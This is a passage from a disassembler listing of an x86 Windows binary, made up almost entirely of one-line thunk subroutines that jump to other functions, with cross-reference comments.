sub_4013A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013AC proc near ; CODE XREF: sub_414450+29p
; sub_414570+29p
jmp sub_415010
sub_4013AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013B1 proc near ; CODE XREF: sub_412B30+19Ap
jmp sub_414530
sub_4013B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013B6 proc near ; CODE XREF: _294ADE7B:0042A0AFp
; _294ADE7B:0042A0D8p
jmp sub_42A250
sub_4013B6 endp
; ---------------------------------------------------------------------------
jmp loc_428160
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013C0 proc near ; CODE XREF: _294ADE7B:004159BFp
jmp sub_416740
sub_4013C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013C5 proc near ; CODE XREF: sub_419EF0:loc_419EFFp
; sub_419EF0+1Fp
jmp sub_419ED0
sub_4013C5 endp
; ---------------------------------------------------------------------------
jmp loc_40AAF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013CF proc near ; CODE XREF: sub_403190+61p
; sub_4038B0+1Dp ...
jmp sub_409640
sub_4013CF endp
; ---------------------------------------------------------------------------
jmp loc_42F970
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013D9 proc near ; CODE XREF: sub_416E80+29p
jmp sub_4171D0
sub_4013D9 endp
; ---------------------------------------------------------------------------
jmp loc_42E200
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013E3 proc near ; CODE XREF: _294ADE7B:0042DA0Dp
; sub_42DB90+20p
jmp sub_42DCC0
sub_4013E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013E8 proc near ; CODE XREF: _294ADE7B:00406883p
; _294ADE7B:00415878p ...
jmp sub_4068B0
sub_4013E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013ED proc near ; CODE XREF: sub_404260+370p
; sub_404260:loc_404605p ...
jmp sub_404800
sub_4013ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013F2 proc near ; CODE XREF: sub_404890+26Bp
; _294ADE7B:0040E006p ...
jmp sub_40D530
sub_4013F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013F7 proc near ; CODE XREF: sub_4146F0+5p
jmp sub_4151D0
sub_4013F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013FC proc near ; CODE XREF: sub_40B080+1Dp
; _294ADE7B:0040B4ADp ...
jmp sub_40B880
sub_4013FC endp
; ---------------------------------------------------------------------------
jmp loc_40B150
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401406 proc near ; CODE XREF: sub_41CC30+349p
; sub_4201C0+1Ap
jmp sub_420230
sub_401406 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401410 proc near ; CODE XREF: sub_413E80+29p
jmp sub_414970
sub_401410 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401415 proc near ; CODE XREF: sub_407E8F+746p
; sub_407E8F+76Fp ...
jmp sub_408FB0
sub_401415 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40141A proc near ; CODE XREF: sub_404260+30p
; sub_404260+14Bp ...
jmp sub_40A220
sub_40141A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40141F proc near ; CODE XREF: sub_4178D0+1EAp
; sub_4178D0+201p
jmp sub_417DB0
sub_40141F endp
; ---------------------------------------------------------------------------
jmp loc_41A360
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401429 proc near ; CODE XREF: sub_412900+E1p
jmp sub_413F60
sub_401429 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40142E proc near ; CODE XREF: sub_421170+48p
; sub_421170+213p ...
jmp sub_4254D0
sub_40142E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401433 proc near ; CODE XREF: sub_419B50+2Ap
; sub_419B50+5Ap
jmp sub_418C80
sub_401433 endp
; ---------------------------------------------------------------------------
jmp loc_42C2A0
; ---------------------------------------------------------------------------
jmp loc_429A80
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401442 proc near ; CODE XREF: sub_40DB00+EAp
; sub_416AE0+157p
jmp sub_40D9C0
sub_401442 endp
; ---------------------------------------------------------------------------
jmp loc_40A240
; ---------------------------------------------------------------------------
loc_40144C: ; DATA XREF: _8C6BDE73:off_437050o
jmp loc_40DED0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401451 proc near ; CODE XREF: sub_40B880+16p
; sub_40B8C0+Bp ...
jmp sub_40BC20
sub_401451 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401456 proc near ; CODE XREF: sub_41ACE0+4E7p
; sub_41ACE0+A75p ...
jmp sub_41BCA0
sub_401456 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40145B proc near ; CODE XREF: sub_411FB0+48p
; _294ADE7B:004333C7j ...
jmp sub_414450
sub_40145B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401460 proc near ; CODE XREF: sub_416AE0+9Dp
jmp sub_40A9E0
sub_401460 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401465 proc near ; DATA XREF: _8C6BDE73:off_437044o
jmp sub_413AD0
sub_401465 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40146A proc near ; CODE XREF: sub_426890j
; _294ADE7B:00426D13p ...
jmp sub_426C50
sub_40146A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40146F proc near ; CODE XREF: sub_403190+115p
; sub_404260+1B8p ...
jmp sub_4096E0
sub_40146F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401474 proc near ; CODE XREF: sub_40A7D0+7p
jmp sub_40A8C0
sub_401474 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401479 proc near ; CODE XREF: sub_404730+9p
; sub_404890+45p ...
jmp sub_40A2A0
sub_401479 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40147E proc near ; CODE XREF: sub_41CC30+E1p
; sub_41FFC0+1Ap
jmp sub_420030
sub_40147E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401483 proc near ; CODE XREF: sub_4187E0+10p
; sub_418980+47p ...
jmp sub_418BD0
sub_401483 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401488 proc near ; CODE XREF: sub_406D60+24p
jmp sub_406F40
sub_401488 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40148D proc near ; CODE XREF: _294ADE7B:0041583Bp
; _294ADE7B:004338E6j ...
jmp sub_416090
sub_40148D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401492 proc near ; CODE XREF: sub_4148B0+5Fp
; DATA XREF: _5AD6BD6B:off_43D3F4o
jmp sub_4152A0
sub_401492 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401497 proc near ; CODE XREF: sub_422EF0+Fp
; sub_422F30+1CCp ...
jmp sub_422E50
sub_401497 endp
; ---------------------------------------------------------------------------
jmp loc_409AF0
; ---------------------------------------------------------------------------
jmp loc_418080
; ---------------------------------------------------------------------------
jmp loc_42DDD0
; ---------------------------------------------------------------------------
jmp loc_429DA0
; ---------------------------------------------------------------------------
jmp loc_429CB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014B5 proc near ; CODE XREF: sub_420620+8p
jmp sub_420A70
sub_4014B5 endp
; ---------------------------------------------------------------------------
jmp locret_418000
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014BF proc near ; CODE XREF: _294ADE7B:004180FCp
; sub_421170+3E1p ...
jmp sub_418040
sub_4014BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014C4 proc near ; CODE XREF: sub_417060+3p
jmp sub_4173C0
sub_4014C4 endp
; ---------------------------------------------------------------------------
jmp loc_42D720
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014CE proc near ; CODE XREF: sub_40EB00+95p
; sub_4108D0+54Dp ...
jmp sub_412FA0
sub_4014CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014D3 proc near ; CODE XREF: sub_40B080+Bp
; _294ADE7B:0040B499p
jmp sub_40B980
sub_4014D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014D8 proc near ; CODE XREF: sub_42A6E0+1Bp
; sub_42CD80+94p
jmp sub_42A850
sub_4014D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014DD proc near ; CODE XREF: sub_4205A0+7p
jmp sub_420A20
sub_4014DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014E2 proc near ; CODE XREF: _294ADE7B:0042D9FFp
; sub_42DB90+Fp
jmp sub_42DD00
sub_4014E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014E7 proc near ; CODE XREF: sub_416F30+29p
; sub_417010+29p
jmp sub_417280
sub_4014E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014EC proc near ; CODE XREF: sub_40ACD0+40p
; _294ADE7B:0043269Aj ...
jmp sub_40B810
sub_4014EC endp
; ---------------------------------------------------------------------------
jmp loc_42B550
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014F6 proc near ; CODE XREF: sub_40BB50+4p
jmp sub_40BD60
sub_4014F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014FB proc near ; CODE XREF: sub_406CE0+3Cp
jmp sub_406E90
sub_4014FB endp
; ---------------------------------------------------------------------------
jmp loc_41A2F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401505 proc near ; CODE XREF: sub_413FA0+4Fp
; sub_4148B0+11p ...
jmp sub_414B00
sub_401505 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40150A proc near ; CODE XREF: sub_412400+BEp
; sub_412400+FCp ...
jmp sub_413E80
sub_40150A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40150F proc near ; CODE XREF: _294ADE7B:0041596Fp
jmp sub_4164D0
sub_40150F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401514 proc near ; CODE XREF: sub_4111F0+39p
; _294ADE7B:00411309p
jmp sub_411160
sub_401514 endp
; ---------------------------------------------------------------------------
jmp loc_42C270
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40151E proc near ; CODE XREF: sub_409F90+16Fp
; _294ADE7B:0043260Aj
jmp sub_40A2F0
sub_40151E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401523 proc near ; CODE XREF: sub_403BE0+51p
; sub_403BE0+A4p ...
jmp sub_406D60
sub_401523 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401528 proc near ; CODE XREF: sub_407E8F+763p
; sub_407E8F+78Cp ...
jmp sub_40B1E0
sub_401528 endp
; ---------------------------------------------------------------------------
jmp loc_42D130
; ---------------------------------------------------------------------------
jmp loc_418850
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401537 proc near ; CODE XREF: sub_414D50+4p
jmp sub_4153A0
sub_401537 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40153C proc near ; CODE XREF: sub_4093B0+1Ap
; sub_409400+1Ap
jmp sub_409470
sub_40153C endp
; ---------------------------------------------------------------------------
jmp loc_42DA90
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401546 proc near ; CODE XREF: sub_417EC0+35p
jmp sub_417F50
sub_401546 endp
; ---------------------------------------------------------------------------
jmp loc_42D660
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401550 proc near ; CODE XREF: _294ADE7B:0041FE43p
jmp sub_41FE70
sub_401550 endp
; ---------------------------------------------------------------------------
jmp loc_42D3A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40155A proc near ; CODE XREF: sub_4140D0+5p
jmp sub_414B30
sub_40155A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40155F proc near ; CODE XREF: sub_416FA0+5p
; sub_4170A0+6p ...
jmp sub_417380
sub_40155F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401564 proc near ; CODE XREF: sub_404890+953p
; sub_4068E0+22Cp ...
jmp sub_4097E0
sub_401564 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401569 proc near ; CODE XREF: _294ADE7B:0041592Fp
jmp sub_406850
sub_401569 endp
; ---------------------------------------------------------------------------
jmp loc_422A40
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401573 proc near ; CODE XREF: sub_414B60+5Ap
jmp sub_4153F0
sub_401573 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401578 proc near ; CODE XREF: sub_41D500+1C7p
jmp sub_41F2A0
sub_401578 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40157D proc near ; CODE XREF: sub_404890+E94p
; sub_404890+FE7p ...
jmp sub_41E560
sub_40157D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401582 proc near ; CODE XREF: sub_42C660+20p
; sub_42C660+32p
jmp sub_42E7F0
sub_401582 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401587 proc near ; CODE XREF: _294ADE7B:0042C5D5p
jmp sub_42B0D0
sub_401587 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40158C proc near ; CODE XREF: sub_416AE0+20Ep
jmp sub_426110
sub_40158C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401591 proc near ; CODE XREF: sub_415170+8p
jmp sub_415540
sub_401591 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401596 proc near ; DATA XREF: _8C6BDE73:off_437078o
jmp sub_41CC30
sub_401596 endp
; ---------------------------------------------------------------------------
jmp loc_419140
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015A0 proc near ; CODE XREF: sub_40AA00p
; _294ADE7B:0042B292p
jmp sub_42C4A0
sub_4015A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015A5 proc near ; CODE XREF: sub_406DA0+1Ap
; sub_416E80+1Ap
jmp sub_406ED0
sub_4015A5 endp
; ---------------------------------------------------------------------------
jmp loc_42A210
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015AF proc near ; CODE XREF: sub_420910+5Fp
jmp sub_420CB0
sub_4015AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015B4 proc near ; CODE XREF: _294ADE7B:004188DAp
jmp sub_419700
sub_4015B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015B9 proc near ; CODE XREF: sub_42C4A0:loc_42C4DBp
; sub_42C660:loc_42C69Ep
jmp sub_42C700
sub_4015B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015BE proc near ; CODE XREF: sub_42E000+12p
; sub_42E730+51p
jmp sub_42B6C0
sub_4015BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015C3 proc near ; CODE XREF: _294ADE7B:0041597Fp
jmp sub_416570
sub_4015C3 endp
; ---------------------------------------------------------------------------
jmp loc_42B390
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015CD proc near ; CODE XREF: sub_40A3B0+8p
jmp sub_40A400
sub_4015CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015D2 proc near ; CODE XREF: _294ADE7B:00411CDEp
jmp sub_411E70
sub_4015D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015D7 proc near ; CODE XREF: sub_42AC40+ADp
; _294ADE7B:0042D450p ...
jmp sub_42A690
sub_4015D7 endp
; ---------------------------------------------------------------------------
jmp loc_406470
; ---------------------------------------------------------------------------
jmp loc_4294F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015E6 proc near ; CODE XREF: sub_407020:loc_40707Ap
jmp sub_407220
sub_4015E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015EB proc near ; CODE XREF: sub_420D20+3Cp
jmp sub_420E60
sub_4015EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015F0 proc near ; DATA XREF: _8C6BDE73:004370A8o
jmp sub_419B50
sub_4015F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015F5 proc near ; CODE XREF: sub_403190+BBp
; sub_404890+F3Ap ...
jmp sub_4067C0
sub_4015F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015FA proc near ; CODE XREF: _294ADE7B:00429F50p
; _294ADE7B:00429FCEp ...
jmp sub_42DF20
sub_4015FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015FF proc near ; CODE XREF: sub_408FF0+10p
jmp sub_409090
sub_4015FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401604 proc near ; CODE XREF: sub_409F90+4Ap
jmp sub_40A2C0
sub_401604 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401609 proc near ; CODE XREF: _294ADE7B:0041599Fp
jmp sub_40E390
sub_401609 endp
; ---------------------------------------------------------------------------
jmp loc_42D280
; ---------------------------------------------------------------------------
jmp loc_4297F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401618 proc near ; CODE XREF: sub_40BA20+9p
; sub_40BC80+18p
jmp sub_40BE00
sub_401618 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40161D proc near ; CODE XREF: sub_41BE00+283p
jmp sub_429A20
sub_40161D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401622 proc near ; CODE XREF: sub_403190+CCp
; sub_404260+EDp ...
jmp sub_40A190
sub_401622 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401627 proc near ; CODE XREF: sub_422CE0+7Ep
; sub_422CE0+92p ...
jmp sub_422BB0
sub_401627 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40162C proc near ; CODE XREF: sub_412570+CEp
; sub_41F3E0+5DEp
jmp sub_4099D0
sub_40162C endp
; ---------------------------------------------------------------------------
jmp loc_4292D0
; ---------------------------------------------------------------------------
jmp loc_429A50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40163B proc near ; CODE XREF: sub_413E00+29p
jmp sub_414760
sub_40163B endp
; ---------------------------------------------------------------------------
loc_401640: ; DATA XREF: _8C6BDE73:off_4370CCo
jmp loc_426D10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401645 proc near ; CODE XREF: sub_409160+58p
; sub_409160+82p ...
jmp sub_4093B0
sub_401645 endp
; ---------------------------------------------------------------------------
jmp sub_4272C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40164F proc near ; CODE XREF: sub_41CC30+2B2p
jmp sub_420180
sub_40164F endp
; ---------------------------------------------------------------------------
jmp loc_4194F0
; ---------------------------------------------------------------------------
jmp loc_411770
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40165E proc near ; CODE XREF: sub_40A3B0+10p
jmp sub_40A420
sub_40165E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401663 proc near ; CODE XREF: sub_416980+7Bp
; sub_416980+C5p ...
jmp sub_4170D0
sub_401663 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401668 proc near ; CODE XREF: sub_413560+FCp
jmp sub_413730
sub_401668 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40166D proc near ; CODE XREF: sub_41CC30+D1p
jmp sub_4200E0
sub_40166D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401672 proc near ; CODE XREF: sub_40A9E0p
; _294ADE7B:loc_42B275p
jmp sub_42C420
sub_401672 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401677 proc near ; CODE XREF: sub_409160+91p
; sub_4116A0+Dp
jmp sub_409330
sub_401677 endp
; ---------------------------------------------------------------------------
jmp loc_40A940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401681 proc near ; CODE XREF: sub_412740+4Ep
jmp sub_413E00
sub_401681 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401686 proc near ; CODE XREF: sub_40E390+13Dp
jmp sub_411480
sub_401686 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40168B proc near ; CODE XREF: _294ADE7B:0040DF50p
; sub_416AE0+132p
jmp sub_40CFB0
sub_40168B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401690 proc near ; CODE XREF: sub_413E00+51p
jmp sub_414830
sub_401690 endp
; ---------------------------------------------------------------------------
jmp loc_425070
; ---------------------------------------------------------------------------
jmp loc_419590
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40169F proc near ; CODE XREF: sub_406DA0+48p
; sub_406DA0:loc_406E25p
jmp sub_406FA0
sub_40169F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016A4 proc near ; CODE XREF: sub_40A970+2Cp
; sub_416980+8Fp ...
jmp sub_40AAA0
sub_4016A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016A9 proc near ; CODE XREF: sub_403360+2A5p
; sub_403360+2B5p ...
jmp sub_4039B0
sub_4016A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016AE proc near ; CODE XREF: sub_414720+16p
; sub_414760+Bp ...
jmp sub_4152C0
sub_4016AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016B3 proc near ; CODE XREF: sub_40AAA0+10p
; _294ADE7B:0042A461p ...
jmp sub_42B320
sub_4016B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016B8 proc near ; CODE XREF: _294ADE7B:0040AA74p
jmp sub_42E730
sub_4016B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016BD proc near ; CODE XREF: sub_417440+5Fp
jmp sub_4176D0
sub_4016BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016C2 proc near ; CODE XREF: _294ADE7B:004157ABp
; _294ADE7B:00417183p ...
jmp sub_417160
sub_4016C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016C7 proc near ; CODE XREF: _294ADE7B:00416E5Cp
jmp sub_416AE0
sub_4016C7 endp
; ---------------------------------------------------------------------------
jmp loc_41F390
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016D1 proc near ; CODE XREF: _294ADE7B:0041598Fp
jmp sub_416640
sub_4016D1 endp
; ---------------------------------------------------------------------------
jmp loc_4257F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016DB proc near ; CODE XREF: sub_42A9E0+5Dp
; sub_42B9B0+2Cp ...
jmp sub_42C180
sub_4016DB endp
; ---------------------------------------------------------------------------
jmp loc_429440
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016E5 proc near ; CODE XREF: _294ADE7B:004250C7p
jmp sub_424ED0
sub_4016E5 endp
; ---------------------------------------------------------------------------
jmp loc_42D0B0
; ---------------------------------------------------------------------------
jmp loc_42A050
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016F4 proc near ; CODE XREF: sub_42B0F0+D7p
; sub_42C4A0+22p ...
jmp sub_42C8D0
sub_4016F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016F9 proc near ; CODE XREF: sub_40A9E0+5j
; _294ADE7B:loc_42B27Dp
jmp sub_42C520
sub_4016F9 endp
; ---------------------------------------------------------------------------
jmp loc_42B2D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401703 proc near ; CODE XREF: sub_425040+10p
; sub_425140+3Dp
jmp sub_425110
sub_401703 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401708 proc near ; CODE XREF: sub_40AA00+5j
; _294ADE7B:loc_42B285p ...
jmp sub_42C540
sub_401708 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40170D proc near ; DATA XREF: _8C6BDE73:off_437000o
jmp sub_404890
sub_40170D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401712 proc near ; CODE XREF: sub_422EF0+1Ep
; sub_422F30+A6p ...
jmp sub_422E80
sub_401712 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401717 proc near ; CODE XREF: sub_414EB0+11p
; sub_414EB0+27p ...
jmp sub_415480
sub_401717 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40171C proc near ; CODE XREF: sub_4146A0+3p
; sub_414EB0+4Fp ...
jmp sub_415130
sub_40171C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401721 proc near ; CODE XREF: sub_4142B0+5Ep
; sub_414CC0+32p
jmp sub_414C00
sub_401721 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401726 proc near ; CODE XREF: sub_403190+DBp
; sub_403BE0+3Fp ...
jmp sub_40A280
sub_401726 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40172B proc near ; CODE XREF: sub_420420+5Ap
jmp sub_420A40
sub_40172B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401730 proc near ; CODE XREF: sub_416AE0+A8p
jmp sub_40AD70
sub_401730 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401735 proc near ; CODE XREF: sub_4064B0+205p
jmp sub_419EF0
sub_401735 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40173F proc near ; CODE XREF: _294ADE7B:00426DB3p
jmp sub_426DE0
sub_40173F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401744 proc near ; CODE XREF: _294ADE7B:00424516p
; _294ADE7B:00424547p
jmp sub_423DF0
sub_401744 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401749 proc near ; CODE XREF: sub_41CC30+FFp
; sub_41CC30+179p ...
jmp sub_420150
sub_401749 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40174E proc near ; CODE XREF: sub_409C70+7p
; sub_40C310+2FDp
jmp sub_409C90
sub_40174E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401753 proc near ; CODE XREF: sub_40AF90+76p
jmp sub_40AEF0
sub_401753 endp
; ---------------------------------------------------------------------------
jmp loc_423710
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40175D proc near ; CODE XREF: sub_41CC30+18Ep
; _294ADE7B:00434903j
jmp sub_41FFC0
sub_40175D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401762 proc near ; DATA XREF: _8C6BDE73:off_4370ECo
jmp sub_4272C0
sub_401762 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401767 proc near ; CODE XREF: _294ADE7B:004159AFp
jmp sub_416710
sub_401767 endp
; ---------------------------------------------------------------------------
jmp loc_429DC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401771 proc near ; CODE XREF: sub_41CC30+3BCp
; sub_420C80+3p
jmp sub_420320
sub_401771 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401776 proc near ; CODE XREF: sub_4268B0+90p
jmp sub_426B70
sub_401776 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40177B proc near ; CODE XREF: _294ADE7B:00422A5Dp
; sub_422F30+135p
jmp sub_422A90
sub_40177B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401780 proc near ; CODE XREF: sub_40B9A0+3p
; sub_40BA20+4Fp ...
jmp sub_40BBE0
sub_401780 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401785 proc near ; CODE XREF: sub_406DA0+36p
; sub_406DA0+72p ...
jmp sub_406FF0
sub_401785 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40178A proc near ; CODE XREF: sub_411EB0+61p
jmp sub_414410
sub_40178A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40178F proc near ; CODE XREF: _294ADE7B:0040B531p
; _294ADE7B:0040B5F8p ...
jmp sub_411390
sub_40178F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401794 proc near ; CODE XREF: _294ADE7B:0042D18Fp
; _294ADE7B:0042D29Fp ...
jmp sub_42CCD0
sub_401794 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401799 proc near ; DATA XREF: _294ADE7B:0042D44Ao
; _294ADE7B:0042D5B0o
jmp sub_42CD40
sub_401799 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40179E proc near ; CODE XREF: sub_4150F0+7p
jmp sub_4154D0
sub_40179E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017A3 proc near ; CODE XREF: sub_416980+34p
jmp sub_404840
sub_4017A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017A8 proc near ; CODE XREF: sub_403190+7Ap
; sub_403190+9Ep ...
jmp sub_4096A0
sub_4017A8 endp
